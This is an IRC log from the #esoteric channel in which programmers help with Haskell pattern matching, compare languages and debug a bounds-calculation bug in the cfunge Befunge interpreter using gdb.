< 1269488005 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*used < 1269488229 0 :mtve!~mtve@65.98.99.53 JOIN :#esoteric < 1269488432 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: :D < 1269488436 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hugs oklopol
< 1269488437 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey < 1269488438 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269489157 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269490134 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :adu: after my great start yesterday, I'm sure my completed program has about 10 stylistic pas faux < 1269490188 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should go eat
< 1269490219 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/885958 < 1269490689 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269491152 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: the main thing i notice is that you are using a lot of == rather than pattern matching < 1269491174 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah; not sure how to pattern match against my monster of a type < 1269491179 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(at least, to pattern match nicely < 1269491453 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :step (VM {future = []}) = return () < 1269491472 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah, thanks < 1269491475 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rewrites
< 1269491562 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269492014 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I'm having one issue: jump f o c i v@(VM {future = o:_}) is not a valid pattern? < 1269492054 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: indeed you cannot compare things in patterns. call the second o' or something and add a | o == o' guard < 1269492060 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269492085 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: maybe i'm a little late, but you might want to use a case expression if it's awkward to do all the pattern matching at top level (i.e. case instr of ...) < 1269492136 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ah < 1269492145 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Well, I've already rewritten it, and it doesn't look too horrid < 1269492172 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it was mainly that value = ... that made me wonder, since you are using it in several branches < 1269492190 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :good < 1269492315 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269492334 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1269492344 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not sure about jump though; the inability to compare in a guard is annoying < 1269492372 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I guess I have no choice but to use another guard instead of a pattern < 1269492692 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269492827 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yay, it works again < 1269492844 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269492928 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269493060 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269493114 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i just woke up < 1269493144 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :there's a party in my flat and i don't even know who did this party < 1269493164 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Is that innuendo? < 1269493197 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, it's in the front < 1269493395 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I SEE WUT U DID THAR < 1269493414 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :took you long enough :D < 1269493489 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I was AFK :P < 1269493692 0 :jcp!unknown@unknown.invalid QUIT :Changing host < 1269493692 0 :jcp!~jw@unaffiliated/javawizard2539/bot/bztraining JOIN :#esoteric < 1269493729 0 :jcp!unknown@unknown.invalid QUIT :Changing host < 1269493729 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269494278 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the language where === is used for case statements? < 1269494293 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Too many languages in too short a period of time can be confusing < 1269494646 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :i've not heard of that one < 1269494860 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1269497486 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269497811 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269498661 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269498917 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I dunno; which languages actually have ===? PHP's the only one I can think of offhand < 1269498932 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I may be thinking of Ruby < 1269498962 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Right now trying to get a handle on Erlang instead of sleeping < 1269498994 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah yes, it is Ruby, according to the doc < 1269499021 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :============== < 1269499052 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :that, to me, looks like something out of perldoc < 1269499060 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(yes, I know it isn't) < 1269499115 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is overdosing on languages
< 1269499177 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the Erlang language is simple, but coding Erlang is all about the library < 1269499302 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION really should find a motivation to learn Erlang
< 1269499553 0 :adu!unknown@unknown.invalid QUIT :*.net *.split < 1269499554 0 :Sgeo!unknown@unknown.invalid QUIT :*.net *.split < 1269499554 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1269499554 0 :Quadrescence!unknown@unknown.invalid QUIT :*.net *.split < 1269499555 0 :yiyus!unknown@unknown.invalid QUIT :*.net *.split < 1269499622 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269499986 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269499986 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269499986 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269499986 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269499986 0 :yiyus!1242712427@je.je.je JOIN :#esoteric < 1269500102 0 :sebbu2!~sebbu@ADijon-152-1-22-206.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269500106 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269500123 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269500823 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For some reason, Erlang isn't really grabbing my interest < 1269501092 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :because you're tired? < 1269501099 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :because the online stuff sucks? < 1269501469 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269503875 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269503943 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1269503947 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :erlang is boring < 1269503999 0 :clog!unknown@unknown.invalid QUIT :ended < 1269504000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269504836 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269504928 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1269507017 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269507648 0 :nooga_!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269507818 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269509523 0 :myndzi\!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269509566 0 :myndzi!myndzi@tengototen.net JOIN :#esoteric < 1269510032 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269510099 0 :cheater2!~cheater@ip-80-226-238-241.vodafone-net.de JOIN :#esoteric < 1269510528 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :coppro: doesn't javascript have ===? < 1269510542 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :doesn't it check real equality instead of confusing equality? < 1269510977 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269512285 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :heyo. < 1269512295 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ais523: would you be interested in ... a challenge? < 1269512295 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::x < 1269512304 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: it depends on the details < 1269512331 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :basically, i will design an esolang of some sort < 1269512337 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :relatively simple and not complicated at all < 1269512345 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe ill even use an existing one < 1269512347 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :who knows < 1269512359 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and then ill provide some visualization of a program executing. < 1269512371 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I have to deduce the esolang from that visualization? < 1269512376 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269512382 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or at least the constructs of the language < 1269512407 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it sounds interesting, at least < 1269512420 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably best if, as last time, we make guesses to you via PM, so everyone can play < 1269512490 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually, i like the idea of this being collaborative. < 1269512539 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the idea is that it should be vaguely like reverse engineering the brain < 1269512545 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :all you have is data about program execution < 1269512552 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and you dont even know what the data represents < 1269512903 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269516486 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269516559 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269517883 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Found another apparent bug in cfunge's bounds calculation; this time I'm a bit more sure because efunge agrees with CCBI < 1269518891 0 :sebbu2!~sebbu@ADijon-152-1-14-103.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269518898 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269518914 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269526733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh? < 1269526735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what is it < 1269526743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and do you have a test case < 1269526763 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(by the way, I hope you realise that efunge could be incorrect as well) < 1269526771 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://tar.us.to:12345/ run slowdown.b98 on mycology.b98 < 1269526786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, wget http://tar.us.to:12345/ ? < 1269526796 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, click the link and download the two files. < 1269526831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so what am I supposed to look for? < 1269526850 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :grr, I've just closed Firefox three times by accident in the last ten minutes < 1269526852 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It quits right after the relevant line of output. < 1269526856 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :by typoing control-Q rather than control-W < 1269526860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269526885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, build/cfunge experimental/slowdown.b98 experimental/mycology.b98 ? < 1269526893 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For example. < 1269526895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269526902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, are those BAD relevant? < 1269526905 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :efunge will probably take a few minutes. < 1269526907 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, ignore the GOOD/BAD. < 1269526910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269526911 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Just look at the last line. < 1269526925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" That the greatest point, relative to that point, is ( 180 544 )"? < 1269526932 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1269526938 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Compare to efunge. < 1269526961 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION waits on efunge
< 1269526979 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how fast is that computer where it takes "a few minutes"? < 1269526993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah done < 1269526994 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It takes a bit under 20 seconds for me. < 1269526997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" That the greatest point, relative to that point, is ( 180 539 )" < 1269526999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269527002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay different value I see < 1269527004 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269527028 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is the 544 correct at any point btw? < 1269527043 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If you remove a couple of lines from the end of the file (five was enough IIRC) cfunge and efunge will agree. < 1269527051 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1269527054 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't think so. < 1269527060 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But it might be. < 1269527068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what do those lines do btw? < 1269527077 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Those lines at the end of the file do nothing. < 1269527080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269527085 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can remove any five lines that aren't executed, IIRC. < 1269527089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't both shrink equally much then < 1269527097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also remove from which file? cfunge or efunge? < 1269527108 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :efunge shrinks by five, cfunge shrinks by five plus the five that it's getting wrong now. < 1269527119 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :From mycology.b98. < 1269527122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269527135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so what on earth is going on there ^_^ < 1269527143 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1269527147 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does it matter that: < 1269527152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cfunge: That the least point containing a non-space cell is ( 65000 64995 ) < 1269527160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :efunge: That the least point containing a non-space cell is ( 65000 65000 ) < 1269527166 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well yes, that would appear to be the cause of the problem. < 1269527182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so what causes that difference in least space cell I wonder < 1269527198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems that slowdown decides on different positions for the upper corner to me? < 1269527212 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That slowdown has been hard-coded to use 65000,65000 < 1269527233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well then, so what we are looking at is what is going on at (65000,64995) then? < 1269527246 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yep < 1269527325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does it quit by @ or by q? < 1269527328 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :q < 1269527330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders where to set the breakpoint
< 1269527331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269527730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so manually setting fspace.boundsexact=false and running bounds shrinking fixes it < 1269527742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so probably that flag isn't set when it should be < 1269527758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now of course, figuring out when it should be set is a different issue < 1269527767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269527795 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/a different/another/ < 1269527845 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269527845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, are you sure there is never anything at the y coordinate 64995 ? < 1269527860 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No < 1269527876 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I can't think of what might be there but I can't remember the full details of how slowdown works < 1269527936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries break fungespace_set if position.y=64995
< 1269527962 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which dumped me right into gdb < 1269527964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a write to < 1269527972 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *position < 1269527972 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$2 = {x = 4, y = 64995} < 1269527978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess that must be early on < 1269527991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :considering nothing has yet been printed on stdio < 1269528000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, any clue as to what that might be? < 1269528002 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :slowdown doesn't print anything to stdio < 1269528011 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :doesn't mycology write to (-5,-5)? < 1269528018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well then it is before or very very early on in mycology < 1269528029 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: take stdio buffering into account < 1269528032 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No, to (-3,-2); and this one doesn't since it goes straight to the y test < 1269528035 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, ok < 1269528047 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: This Mycology does only the y test < 1269528055 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yes but since it is line buffered it must be quite early on still I guess < 1269528065 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It starts out by running y and saying "y claims all of the following" < 1269528075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it's a p < 1269528080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how very helpful XD < 1269528082 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If it's a p before the y it's from slowdown < 1269528086 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Where's it at? < 1269528099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, trying to remember what variable it was in < 1269528099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sec < 1269528116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *ip < 1269528116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$4 = {stack = 0x247d420, position = {x = 14, y = 1}, delta = {x = 1, y = 0}, storageOffset = {x = 0, y = 0}, mode = 0 '\0', needMove = true, stringLastWasSpace = false, < 1269528116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : fingerSUBRisRelative = false, ID = 0, stackstack = 0x247d400, fingerOpcodes = {{size = 0, top = 0, entries = 0x0} }, fingerHRTItimestamp = 0x0} < 1269528118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269528122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(14,1) < 1269528130 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's odd :-P < 1269528137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why is it that? < 1269528160 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: storageOffset = 0,0 and that bit is "044p"... < 1269528174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1269528201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *position < 1269528201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$5 = {x = 4, y = 4} < 1269528201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *offset < 1269528201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$6 = {x = 0, y = 0} < 1269528211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and down another frame where they are added together < 1269528224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gdb) print *position < 1269528224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$7 = {x = 4, y = 64995} < 1269528228 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah what the hell < 1269528233 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1269528240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the call is: fungespace_set(value, vector_create_ref(position->x + offset->x, position->y + offset->y)); < 1269528250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to me this looks almost like a compiler bug < 1269528256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269528259 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: are any of the variables in question changed inside the functions themselves? < 1269528265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or vector_create_ref messing up?! < 1269528274 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Is it written in asm? ;-) < 1269528277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, no don't think so < 1269528283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no < 1269528296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :#define vector_create_ref(a, b) (& (funge_vector) { .x = (a), .y = (b) }) < 1269528304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, *I* can't see anything wrong with that < 1269528326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe gdb is messing up somehow? < 1269528329 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's worth seeing whether it's just GCC failing at compound literal codegen < 1269528337 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269528347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, it is odd that it hasn't showed up before this then < 1269528399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, build with icc gives same results < 1269528413 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :From gdb too? :-) < 1269528413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so does clang build < 1269528418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not running under gdb < 1269528421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just checking the bug < 1269528450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to remember how to get icc to generate a usable-with-gdb binary
< 1269528553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hrrm I can't get any values for that condition to break with icc < 1269528559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not even the supposed correct value < 1269528569 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : by typoing control-Q rather than control-W <-- heh synchronicity, i just today read this link on reddit: http://www.codinghorror.com/blog/2010/03/the-opposite-of-fitts-law.html < 1269528584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269528586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it never breaks < 1269528592 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even without condition < 1269528594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck < 1269528598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prods icc
< 1269528604 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION recommends printf debugging
< 1269528607 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: maybe there isn't enough debug info to tell where to break < 1269528610 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and that example was mentioned in one of the comments (either on the blog or reddit) < 1269528627 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well gdb usually complains instead of happily reporting that the breakpoint was set in that case < 1269528629 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: On the blog. < 1269528635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I suspect inlining behind my back < 1269528651 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Compile without optimizations? < 1269528671 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also the thing i previously mentioned about simon tatham puzzles's q command fits right in :( < 1269528672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did so... < 1269528679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lets try clang < 1269528680 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, how does a compound literal like that work, memory-wise? Apparently you can take the address of it, but how long does it live? < 1269528684 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Seems strange that it'd inline in that case... < 1269528711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oops. gdb errored on that break < 1269528726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Die: DW_TAG_restrict_type (abbrev = 12, offset = 37969) < 1269528726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : has children: FALSE < 1269528726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : attributes: < 1269528726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : DW_AT_type (DW_FORM_ref4) constant ref: 37963 (adjusted) < 1269528726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Dwarf Error: Cannot find type of die [in module /home/arvid/src/own/cfunge/trunk/build_clang/cfunge] < 1269528728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interesting error < 1269528749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whatever "die" is. I don't remember any such function < 1269528768 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :die is the Debugging Information Entry < 1269528771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269528808 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ah, automatic storage duration with the enclosing block. < 1269528811 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :die, evil bugs, die < 1269528815 0 :AnMaster!unknown@unknown.invalid 